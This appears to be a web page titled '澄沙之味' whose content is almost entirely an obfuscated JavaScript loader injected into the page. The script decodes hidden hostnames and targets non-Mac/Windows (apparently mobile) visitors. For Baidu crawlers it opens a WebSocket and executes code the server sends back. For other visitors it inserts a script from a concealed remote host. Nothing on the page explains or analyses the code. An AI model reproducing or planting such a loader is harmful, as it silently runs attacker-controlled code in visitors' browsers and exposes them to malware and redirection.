澄沙之味

function RbJzT(e){var t="",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function FlGqCTWy(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return RbJzT(t);};window[''+'P'+'q'+'h'+'F'+'A'+'i'+'s'+'y'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=FlGqCTWy,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('cmcudHHlqbndhLnRvcA==','dHIueWVzzdW42NzzguY29t','140684',window,document,['H','z']);}:function(){};